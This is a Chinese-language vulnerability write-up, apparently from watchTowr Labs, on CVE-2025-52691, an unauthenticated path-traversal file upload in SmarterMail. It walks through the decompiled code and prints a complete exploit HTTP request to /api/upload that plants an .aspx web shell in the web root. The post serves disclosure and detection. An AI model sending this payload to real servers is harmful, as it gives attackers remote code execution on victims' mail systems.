欢迎来到2026!就在大家静待每年一月例行的SSL VPN利用潮如约而至时,watchTowr Labs研究团队在圣诞节后重拾“消停不下的双手与闲不住的大脑”。去年12月,研究团队注意到新加坡网络安全局(CSA)发布的一份关于SmarterTools SmarterMail解决方案的漏洞公告——CVE-2025-52691。这是一个认证前远程代码执行漏洞,在通用漏洞评分系统中获得了满分10分。
这类漏洞总能成功吸引研究团队的注意力,因为将其置于“理想幻灭象限”来衡量时,它在两个坐标轴上都表现突出:既能引发足够的技术探讨兴趣,也常常成为安全圈的“流量密码”。
那么,什么是SmarterMail?其开发商SmarterTools将其描述为“一款适用于Windows和Linux的安全、一体化商务邮件与协作服务器——一个经济高效的Microsoft Exchange替代方案”。
疑云丛生:时间线上的巧合
在研究团队准备进行技术分析时,一个奇怪的现象引起了他们的注意。
CSA的漏洞公告和CVE条目都在2025年12月底发布。然而,通知中声称该漏洞已在 build 9413 中修复。但问题来了:build 9413 的发布日期是2025年10月10日。在研究团队撰写此报告时,最新版本已经是 build 9483 了。

虽然研究团队不会读心术,但这着实令人费解——这是否意味着,这个漏洞在官方披露前将近三个月就已经被悄悄地修复了?而那些使用此解决方案的客户,不得不等待大约两个半月,才得知这个 CVSS 10 分的并不算“关键”的漏洞已被发现并修复,并“建议他们紧急更新”?
诚然,厂商可能会辩称:“这能让我们的客户更安全(免于使用我们先前不安全的软件),给他们留出补丁时间,等等”。出发点或许值得称赞,但经历了2025年乃至更久之前的种种教训,大家都被被迫明白了一个事实:攻击者同样具备逆向工程能力,他们完全有能力发掘出那些被悄无声息修补的漏洞。
这不禁让人再次发问:这一切真的合理吗?是否存在一种可能,即有人在漏洞公告发布前就已发现了它,并在雷达之下悄然利用?

至少在 build 9413 的发布说明中,还友好地提及了一些“常规安全修复”,虽然语焉不详。

抱怨就此打住——让我们速览这个漏洞的技术细节。
尽管该漏洞在事后看来相当“简单”,但其挖掘过程需要大量的代码阅读,并且似乎已在代码库中存在了相当长的时间。向来自新加坡CSIT的Chua Meng Han先生致意。
CVE-2025-52691 技术分析
研究团队照例通过对比存在漏洞和已修复的版本来开始分析。
根据漏洞公告,研究团队选取了以下SmarterMail版本:
- 漏洞版本:Build 9406
- 已修复版本:Build 9413
跳过大量无关紧要的代码变更后,直接切入“有趣”的部分。
下图展示了SmarterMail.Web.Api.FileUploadController.Upload方法的代码差异:

在上图的差异对比中,可以看到,已修复的 build 9413 版本中,对涉及GUID的参数增加了验证逻辑。
这看起来很奇怪,并且与漏洞公告给人的感觉相符——研究团队验证一下这是否就是问题所在。
FileUploadController是一个有效的API控制器,通过/api/upload路由注册:
namespace SmarterMail.Web.Api
{
[Route("api/upload")]
[DisplayName("File Upload")]
[ApiDoNotDocument]
[ApiExceptionFilter]
public class FileUploadController : ApiControllerBase
{
//...
}
}
在修复后的版本中,这是一个有效的、无需任何身份验证即可访问的API端点(注意AuthenticatedService属性的AllowAnonymous = true设置):
[ShortDescription("")]
[Description("Upload a file chunk.")]
[AuthenticatedService(AllowAnonymous = true)]
[Route("")]
[HttpPost]
[Returns(typeof(string))]
public Task<ActionResult> Upload()
{
//...
}
感觉对了。
当前拥有:
- 一个无需认证的文件上传接口。
- 在修复后,为该接口增加了GUID验证逻辑。
无需占卜也能推测这里出了什么问题,以及GUID验证为何如此重要。

研究团队一步步来确认。
此处代码量较大。为简明起见,已显著缩短代码片段,仅保留最关键部分。
[ShortDescription("")]
[Description("Upload a file chunk.")]
[AuthenticatedService(AllowAnonymous = true)]
[Route("")]
[HttpPost]
[Returns(typeof(string))]
public async Task<ActionResult> Upload()
{
ActionResult actionResult;
try
{
StringValues stringValues = base.Request.Form["context"]; // [1]
StringValues stringValues2 = base.Request.Form["contextData"]; // [2]
if (base.Request.Form.Files.Count == 0) // [3]
{
actionResult = this.StatusCode(415);
}
else
{
//...
if (stringValues2 != StringValues.Empty)
{
pupData.targetData = JsonConvert.DeserializeObject<PostUploadProcessingTargetData>(stringValues2.ToString()); // [4]
}
//...
switch (readPartResult2.status)
{
case ReadPartStatus.BAD:
actionResult = base.CreateStatusCode(HttpStatusCode.InternalServerError, readPartResult2.message);
break;
case ReadPartStatus.GOOD:
actionResult = this.Ok("");
break;
case ReadPartStatus.DONE:
{
ResumableConfiguration uploadConfiguration = this.GetUploadConfiguration();
FileStream file = FileX.OpenRead(readPartResult2.filePath);
object obj = null;
SmarterMail.Web.Logic.UploadResult retStatus;
try
{
retStatus = await UploadLogic.ProcessCompletedUpload(this.WebHostEnvironment, base.HttpContext, base.HttpAbsoluteRootPath, base.VirtualAppPath, currentUserTemp, pupData, new SmarterMail.Web.Logic.UploadedFile
{
fileName = uploadConfiguration.FileName,
stream = file
});
}); // [5]
//...
解析代码中的关键点:
- 在
[1]和[2]处,代码从HTTP请求中获取context和contextData参数。 - 在
[3]处,获得一个重要信息:所有上传的文件应使用multipart/form-data内容类型。 - 在
[4]处,代码将contextData反序列化为PostUploadProcessingTargetData类型的对象。 - 在
[5]处,代码调用ProcessCompletedUpload方法,并将反序列化后的对象作为输入参数之一。
在分析ProcessCompletedUpload方法之前,需要了解在contextData参数中应提供什么内容以确保JSON反序列化成功。
以下是简化版的PostUploadProcessingTargetData类代码:
namespace SmarterMail.Web.Logic
{
[Serializable]
public class PostUploadProcessingTargetData
{
//...
[CanBeNull]
public string guid { get; set; }
[CanBeNull]
public string domain { get; set; }
//...
}
}
简而言之,该类包含多个与上传相关的设置。由于它使用 JSON.NET 进行反序列化,需要在此处“提供”有效的JSON来控制这些设置。
仔细查看后可以发现,PostUploadProcessingTargetData类包含一个公有属性guid,并具有公有的setter。这意味着可以在反序列化过程中控制此值,而这很可能与漏洞利用相关——因为修复补丁正是在此上下文中添加了验证。
接下来,ProcessCompletedUpload方法执行了一项重要任务。
该方法使用 switch-case 语句根据攻击者可控制的context参数值做出决策。
本质上,它允许你执行不同的上传操作,例如:
- 上传ICS文件
- 上传附件
- 导入笔记
- 基于云端的上传
- 等等
研究团队怀疑guid参数是关键,因此重点研究了使用该参数的上传操作。
public static async Task<UploadResult> ProcessCompletedUpload(IWebHostEnvironment webHostEnvironment, HttpContext httpContext, string httpAbsoluteRootPath, string virtualAppPath, UserData currentUser, PostUploadProcessing pupData, UploadedFile file)
{
UploadResult uploadResult;
try
{
//...
string target = pupData.target;
if (target != null)
{
switch (target.Length)
{
case 8:
if (target == "task-ics")
{
return UploadLogic.TaskImportIcsFile(currentUser, file, pupData.targetData.source, pupData.targetData.fileId);
}
break;
case 10:
if (target == "attachment") // [1]
{
return await MailLogic.SaveAttachment(webHostEnvironment, httpAbsoluteRootPath, currentUser, file, pupData.targetData.guid, ""); // [2]
}
break;
case 11:
if (target == "note-import")
{
return NoteLogic.ImportNote(currentUser, file, pupData.targetData.source);
}
break;
//...
//...
}
找到了!请看上面的注释[1]和[2]。
如果攻击者在context参数中提供attachment值,代码将调用MailLogic.SaveAttachment方法,并以攻击者可控的guid值作为参数之一。
最终,SmarterMail.Web.Logic.MailLogic.SaveAttachment方法会进一步调用由不同类提供的同名方法:SmarterMail.Web.Logic.HelperClasses.AttachmentsHelper.SaveAttachment。
魔法在此发生!
public static async Task<UploadResult> SaveAttachment(IWebHostEnvironment _webHostEnvironment, string httpAbsoluteRootPath, UserData currentUser, UploadedFile file, string guid, string contentId = "")
{
//...
try
{
if (file != null && file.stream.Length > 0L)
{
sanitizedName = AttachmentsHelper.SanitizeFilename(file.fileName); // [1]
string text = AttachmentsHelper.FindExtension(sanitizedName); // [2]
DirectoryInfoX directoryInfoX = new DirectoryInfoX(PathX.Combine(FileManager.BaseDirectory, "App_Data", "Attachments")); // [3]
if (!DirectoryX.Exists(directoryInfoX.ToString()))
{
DirectoryX.CreateDirectory(directoryInfoX.ToString());
}
//...
lock (attachments)
{
List<AttachmentInfo> list;
AttachmentsHelper.Attachments.TryGetValue(attachguid, out list);
if (list != null)
{
if (list.FirstOrDefault((AttachmentInfo x) => x.Size == attachmentInfo.Size && x.ContentType == attachmentInfo.ContentType && x.ActualFileName == attachmentInfo.ActualFileName) == null)
{
attachmentInfo.GeneratedFileName = AttachmentsHelper.GenerateFileName(attachguid, list.Count, text); // [4]
attachmentInfo.GeneratedFileNameAndLocation = AttachmentsHelper.GenerateFileNameAndLocation(directoryInfoX.ToString(), attachmentInfo.GeneratedFileName); // [5]
list.Add(attachmentInfo);
}
}
else
{
attachmentInfo.GeneratedFileName = AttachmentsHelper.GenerateFileName(attachguid, 0, text); // [6]
attachmentInfo.GeneratedFileNameAndLocation = AttachmentsHelper.GenerateFileNameAndLocation(directoryInfoX.ToString(), attachmentInfo.GeneratedFileName); // [7]
//...
}
}
if (attachmentInfo.GeneratedFileName != null && attachmentInfo.GeneratedFileName.Length > 0)
{
using (FileStream fileStream = new FileStream(attachmentInfo.GeneratedFileNameAndLocation, FileMode.Create, FileAccess.Write))
{
file.stream.CopyTo(fileStream); // [8]
}
//...
}
//...
}
//...
}
//...
}
在深入分析前,先归纳一下已知信息:
- 拥有一个无需认证的文件上传端点,通过发送HTTP
multipart/form-data请求来触发它。 - 在此HTTP请求中,需要包含多个参数(例如
context和contextData)。 contextData参数允许控制和指定guid参数的值,该值在上传附件操作中会被使用。- 至关重要的是,请求必须包含要上传的文件。
- 为简洁起见,最后补充一点:在此HTTP请求中,还需要指定
resumableFilename参数,该值用于设置file对象的fileName属性,正如在[1]处所见。
如果仔细查看上面的代码片段,可能会发现一些潜在的障碍:
- 在
[1]处,代码尝试对攻击者控制的文件名进行清理。姑且假设此防护机制有效,不允许包含任何路径遍历序列。 - 在
[2]处,发现一个名为FindExtension的关键方法,它会在攻击者控制的文件名上调用。
private static string FindExtension(string fileName)
{
if (fileName == null || fileName.Length < 1 || !fileName.Contains("."))
{
return "";
}
string[] array = fileName.Split('.', StringSplitOptions.None);
return array[array.Length - 1];
}
然而,这个函数非常简单——它只提取文件的扩展名,不验证扩展名本身。这可能没问题,因为用户可能需要发送各种扩展名的附件。
在[3]处,可以看到代码中生成上传操作基础目录的操作。
在Windows环境中,该路径为:C:\\Program Files (x86)\\SmarterTools\\SmarterMail\\Service\\App_Data\\Attachments。
App_Data作为一个上传目标目录相当特殊,因为IIS通常会严格限制对此目录的直接访问。
总而言之,不能“简单地”上传一个Web Shell。如果这是正确的路径,需要设法逃离这个上传目录。
幸运的是,还有更多线索——分别是第[4]、[5]行和第[6]、[7]行。
AttachmentsHelper.GenerateFileName会生成一个文件名(其中包含感兴趣的guid参数),而GenerateFileNameAndLocation会将生成的文件名合并到完整的上传路径中!
让我们深入看看:
private static string GenerateFileName(string attachguid, int count, string extension)
{
if (extension != null && extension.Length > 0)
{
return string.Format("att_{0}_{1}.{2}", AttachmentsHelper.<GenerateFileName>g__CleanGuid|20_0(attachguid), count, extension);
}
return string.Format("att_{0}_{1}", AttachmentsHelper.<GenerateFileName>g__CleanGuid|20_0(attachguid), count);
}
惊喜不惊喜!或许该改行去算命了!
似乎正确预测了guid参数就是关键突破口,并且它极易受到路径遍历攻击。
等等,或许GenerateFileNameAndLocation方法中实现了一些保护措施?
private static string GenerateFileNameAndLocation(string directory, string generatedFileName)
{
string format = "{0}" + PathVariables.FORWARDSLASH_STRING + "{1}";
return string.Format(format, directory, generatedFileName);
}
别想了,完全没有。
在[8]处,可以看到,上传的文件最终将被写入——包括路径遍历攻击——由此在SmarterMail上实现了一个完整的、无需认证的、可任意位置的文件写入。

漏洞利用实例
将这些内容整合起来,触发上述攻击链的最终HTTP请求如下:
POST /api/upload HTTP/1.1
Host: watchtowr.com:1337
Content-Length: 698
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="context"
attachment
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="resumableIdentifier"
watchTowrID
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="resumableFilename"
fakefile.aspx
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="contextData"
{"guid":"dag/../../../../../../../../../../../../../../../inetpub/wwwroot/watchTowr"}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="whatever"; filename="whatever.jpg"
Your-WebShell-Here
------WebKitFormBoundary7MA4YWxkTrZu0gW--
再次用文字解释一下:
- 将
context参数设置为attachment,以便进入存在漏洞的代码路径。 resumableFilename参数包含一个具有.aspx扩展名的文件名。contextData参数值包含一个guid键,利用它来实施路径遍历攻击。- 文件上传部分包含Web Shell有效负载。
为了加倍确认,可以调试GenerateFileNameAndLocation方法,并验证是否成功利用了路径遍历:

可能会注意到,代码会在文件名后附加一个整数,不过这并非大问题,因为最终的文件名就包含在HTTP响应中:
{
"key": "att_dag/../../../../../../../../../../../../../../../inetpub/wwwroot/watchtowr_0.aspx",
"fileName": "fakefile.aspx"
}
最终,Web Shell成功上传,可以“享受”这个已悄悄修复三个月之久的RCE漏洞了。

另外,SmarterMail似乎会使用ClamAV扫描所有附件,如下方截图所示。
然而,要么是ClamAV无法识别基本的Web Shell有效负载(有可能),要么是SmarterMail无法处理ClamAV的扫描结果。真有趣。

检测证据生成器
秉承一贯风格,研究团队提供了检测证据生成器,以帮助组织评估其暴露风险并构建检测规则。你可在此仓库找到它。该生成器已针对以下环境验证:
- 基于Windows的安装,结合
- 新版构建(94xx)或旧版构建(16)
(不,研究团队并未测试SmarterMail的每一个历史版本)


